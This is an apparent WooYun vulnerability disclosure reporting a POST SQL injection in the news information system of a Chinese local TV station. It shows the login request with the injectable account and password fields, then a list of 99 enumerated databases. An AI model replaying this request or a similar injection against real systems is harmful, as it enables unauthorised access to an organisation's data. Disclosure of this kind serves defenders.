WooYun.org

潍坊电视台新闻信息系统存在POST注入
http://**.**.**.**/Home/Login.aspx
POST /tools/submit_ajax.ashx?action=user_login HTTP/1.1
Host: **.**.**.**
Content-Length: 35
Origin: http://**.**.**.**
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
Referer: http://**.**.**.**/Home/Login.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=f1zks0jge3amuewwlnoo0zkr
txtAccount=admin&txtPassword=123456
available databases [99]:
[*] 03199
[*] 0536yihuo
[*] 0536zx
[*] 1532
[*] 1yuan
[*] aijiaw
[*] aqcmwdb
[*] aqdj
[*] aqga
[*] aqgapj
[*] aqjj
[*] aqpj
[*] BaoMing
[*] bbswffc
[*] bbswftour
[*] bhcmw
[*] bhcmw-qc
[*] boxing
[*] cdzxw
[*] cfv-gov-cn
[*] chunkaijiao
[*] csgh
[*] cyrczx
[*] deyy
[*] htjycs
[*] htpy
[*] hua_oa
[*] ispdata
[*] ispdatanew
[*] jswmb
[*] Learning
[*] lqga
[*] lqxcmw
[*] lupai
[*] master
[*] model
[*] msdb
[*] p-fuwahpark
[*] pbxx
[*] PCS
[*] peixun
[*] pianyifun
[*] pingyi
[*] pygd
[*] pygd-qc
[*] qysapp
[*] qzcmw
[*] qzdwcw
[*] qzsh
[*] ReportServer
[*] ReportServerTempDB
[*] shuhua
[*] sjy
[*] sun-dynasty_oa
[*] szhxq
[*] TakYunClub_DB
[*] tempdb
[*] test
[*] tianzeStudy_jituan
[*] tzrcw
[*] wanli_wfzxw
[*] wcgd
[*] wfcycmw
[*] wfdj
[*] wfdyrs
[*] **.**.**.**
[*] wfflcp
[*] wfgxcjt
[*] wfgxqpy
[*] wfhq
[*] wfjyw
[*] wflghy
[*] wflife
[*] wfly
[*] wfqc2010
[*] wfsqsng
[*] wftzfc
[*] wfyg
[*] wfzgbm
[*] wfzzbnew_09_11_30
[*] wfzzbold
[*] wfzzbXinxiang
[*] wmw
[*] www91546
[*] xcb
[*] xiaoshou
[*] xs-wfcmw
[*] xwxs
[*] ygzy
[*] yinxiangERP
[*] yuxie
[*] zcgaPJ
[*] zgwfhqw
[*] ZhongbaiShop
[*] zhuanjiawuye
[*] zjfw
[*] zzbtp